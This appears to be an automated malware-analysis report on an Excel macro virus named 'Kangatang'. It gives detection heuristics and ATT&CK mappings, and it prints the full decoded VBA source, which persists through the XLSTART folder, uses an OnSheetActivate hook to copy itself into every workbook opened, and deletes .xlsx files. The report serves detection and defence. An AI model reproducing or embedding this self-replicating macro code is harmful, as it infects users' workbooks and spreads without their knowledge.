MALICIOUS
178
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1547.001 Registry Run Keys / Startup Folder
The sample is a macro-enabled Excel file that uses VBA to establish persistence. The Auto_Open macro copies the workbook to the Excel startup folder as 'mypersonnel.xls' and sets up an OnSheetActivate hook to execute malicious code. The Auto_Close macro attempts to convert the file to an older XLS format and delete the XLSX version, further indicating malicious intent.
Heuristics 7
-
ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
If ThisWorkbook.Path <> Application.StartupPath Then -
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADERThe macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.Matched line in script
Application.OnSheetActivate = "" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub Auto_Close() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/g/img/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/illustrator/1.0/In document text (OLE body)
- http://ns.adobe.com/pdf/1.3/In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1682 bytes |
SHA-256: ced09cdc775a0e0e87daedc6f1c4475f11f79480cb5d6b4d3a201dde3b99f56d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"
Sub Auto_Open()
Application.EnableCancelKey = xlDisabled
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub
Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub
Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True
End If
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.